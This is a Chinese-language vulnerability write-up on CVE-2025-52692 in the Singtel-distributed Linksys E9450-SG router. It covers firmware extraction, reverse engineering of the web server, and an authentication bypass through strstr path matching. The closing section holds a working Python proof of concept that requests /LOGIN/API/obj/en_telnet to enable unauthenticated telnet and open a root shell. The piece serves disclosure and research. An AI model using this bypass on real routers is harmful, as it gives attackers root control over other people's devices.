官网：http://securitytech.cc/
CVE-2025–52692：Linksys E9450-SG 路由器零日漏洞的发现与利用
根据相关研究，大多数消费者使用的是由互联网服务提供商（ISP）直接提供的路由器。其中之一便是 Linksys E9450-SG AX5400 Wi-Fi 6 路由器，该设备由新电信（Singtel）于 2021 年分发，并通过了 CSA CLS Level 1 认证（CSA/060225/V0009）。
漏洞狩猎开始（The Hunt Begins）
在拿到设备后，我们首先访问了路由器的 443 端口 HTTP 管理界面，开始进行初步测试。
路由器的 Web 管理界面是其最主要的攻击面，因为几乎所有管理功能都通过该界面完成。
不过，该界面受到密码保护，仅管理员可访问，并且默认不对互联网开放。
初步的黑盒测试并未发现明显问题，因此我们将注意力转向 固件分析与提取。
固件提取（Firmware Extraction）
幸运的是，该路由器的固件可以直接从 Linksys 官网下载：
downloads.linksys.com/support/ass…
随后我们使用 binwalk 以及 ubireader 工具套件对固件进行完整提取和解包：
binwalk -eM FW_E9450-SG_1.2.00.052_prod.bin
ubireader_extract_images _FW_E9450-SG_1.2.00.052_prod.bin.extracted/0.ubi
binwalk -eM ubifs-root/0.ubi/img-886190016_vol-rootfs_ubifs.ubifs
按回车或点击查看大图
最终解压出的文件系统位于：
ubifs-root/0.ubi/_img-886190016_vol-rootfs_ubifs.ubifs.extracted/squashfs-root/
Web 服务器二进制文件位于：
/bin/httpd
与许多使用 CGI 等中间协议的 IoT 设备不同，这里的 httpd 是一个完整、自包含的 Web 服务器，自行实现了：
- HTTP 协议解析
-
- 路由匹配
-
- 身份认证逻辑
那这会出什么问题呢？
深入分析（Digging Deeper）
我们将 httpd 加载到 IDA Pro 中，尝试定位处理 Web 请求的核心函数，以便：
- 枚举可用接口
-
- 审计 HTTP 解析逻辑
-
- 绘制攻击面
遗憾的是，该二进制被 strip 掉符号信息，IDA 无法自动恢复函数名。
按回车或点击查看大图
但事情并未就此结束。
利用日志恢复函数名
我们注意到代码中存在大量对 log_log 的调用，且第二个参数似乎是调用函数的原始名称：
log_log(3, "web_main", 2297, "failed to install SIGTERM handler, ret=%d", v5);
这是许多 IoT 设备中常见的调试方式：在日志中输出函数名和行号。
这对开发者很有帮助，但对逆向工程师来说，更是漏洞分析的福音。
我们编写了一个简单的 IDAPython 脚本（配合 ida2py 库），自动根据 log_log 中的函数名重命名函数：
for callsite in _ida("log_log").callsites():
try:
name = _ida(callsite.args[1].obj_ea).pyval().decode()
func = ida_hexrays.decompile(callsite.ea)
idc.set_name(func.entry_ea, name)
except ValueError:
pass
函数名恢复后，我们终于可以开始分析关键函数 —— handle_request。
路由处理逻辑
路由信息通过一个 mime_handler 结构体数组表示：
struct mime_handler
{
char *pattern;
char *mime_type;
void (*action)(char *, int);
void (*do_auth)();
int align;
}
每个路由包含：
- 路径匹配规则
-
- 处理函数
-
- 是否需要认证
handle_request 会遍历 cpe_mime_handlers，找到第一个匹配的路由并执行。
如果该路由要求认证，则在调用处理函数前进行校验。
路由混乱（Confusion）
乍一看，每个路由似乎都有独立处理函数。但仔细检查 cpe_mime_handlers 后，我们发现了异常。
按回车或点击查看大图
关键问题：
do_cmd_cgi同时被两个路由使用-
/LOGIN/**：无需认证
-
/API/**：需要认证，处理大部分管理功能
** 是通配符，可匹配任意字符串。
但 do_cmd_cgi 同时处理已认证和未认证请求，这为逻辑混淆埋下隐患。
核心漏洞点
在 do_cmd_cgi 中，存在如下逻辑：
api_obj = strstr(path, "/API/obj");
if ( api_obj )
{
goto handle_web_cmd;
}
strstr 只检查字符串是否包含 /API/obj，而不关心其位置。
这意味着攻击者可以构造如下路径：
/LOGIN/API/obj
从而：
- 先匹配
/LOGIN/**→ 绕过认证 -
- 再命中
/API/obj→ 执行管理员接口
- 再命中
Linksys E9450-SG：它们其实是同一张图
利用流程示意图
按回车或点击查看大图
正常流程：
- A：
/LOGIN/→ 未认证 → 登录处理 -
- B：
/API/obj→ 认证 → API 处理
- B：
恶意路径 /LOGIN/API/obj：
- C：绕过认证
-
- D：调用管理接口
漏洞利用（Exploitation）
在 /API/obj 路径下，存在一个极其危险的接口：
/API/en_telnet
该接口用于 开启 Telnet 服务，且 Telnet 本身不需要认证。
攻击者一旦开启 Telnet，即可直接获取路由器 Shell。
而 handle_web_cmd 中再次使用了 strstr 进行不安全匹配：
if ( strstr(path2, WebCmdTable[v10].name) )
这意味着攻击者可以使用：
/LOGIN/API/obj/en_telnet
完全绕过认证并开启 Telnet 服务。
PoC（概念验证）
import requests, os, sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
ip = sys.argv[1]
target = f"https://{ip}"
s = requests.Session()
print("[+] Enabling telnet via authentication bypass..")
s.get(f"{target}/LOGIN/API/obj/en_telnet", verify=False)
print("[+] Telnet enabled")
os.system(f"telnet {ip}")
演示（Demo）
总结（Conclusion）
该漏洞源于 请求路径解析与逻辑处理中的一系列设计错误，使攻击者能够构造特殊请求，在无需凭证的情况下访问受保护接口。
通过该漏洞，攻击者可以：
- 启用 Telnet 服务
-
- 获取路由器 root 级命令行访问权限
受影响版本
- 固件版本：1.2.00.052
-
- 当前唯一发布版本
利用前提
- 攻击者需能访问路由器管理 Web 界面
-
- 默认不暴露互联网
-
- 无需任何认证凭据
CVSS 3.1 评分
**基础评分：**8.8（高危）
向量：
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
